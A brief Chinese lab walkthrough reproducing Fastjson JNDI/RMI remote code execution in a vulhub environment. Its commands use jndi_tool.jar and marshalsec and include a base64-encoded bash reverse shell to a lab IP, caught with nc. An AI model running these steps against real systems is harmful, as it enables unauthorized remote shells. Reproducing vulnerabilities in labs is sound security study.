本次复现用的是vulhub环境搭建的环境
首先下载vulhub环境,进入fastjson环境中
docker-compose up -d
下载好环境后就可以使用了,如果中途报错可以重启docker服务
1.采用jndi+rmi的方式进行RCE
这里使用jndi_tool.jar工具,下载工具
wget https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar
这里命令是固定的,需要把反弹shell的脚本进行base64加密
java -cp jndi_tool.jar jndi.HRMIServer 192.168.27.132 6666 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI3LjEzMi85OTk5ICAwPiYx}|{base64,-d}|{bash,-i}"
nc接受反弹shell
启动服务后,构造payload
成功反弹shell
2.采用marshalsec的方式进行RCE
下载marshalsec
下载后进入pom.xml文件所在的目录进行maven打包
打包成功后在target文件中生成marshalsec-0.0.3-SNAPSHOT-all.jar工具
启动marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.27.132:4444/#Shell" 9999
其中http://192.168.27.132:4444/#Shell 是存放反弹shell的class文件的http服务
nc接受shell
成功反弹shell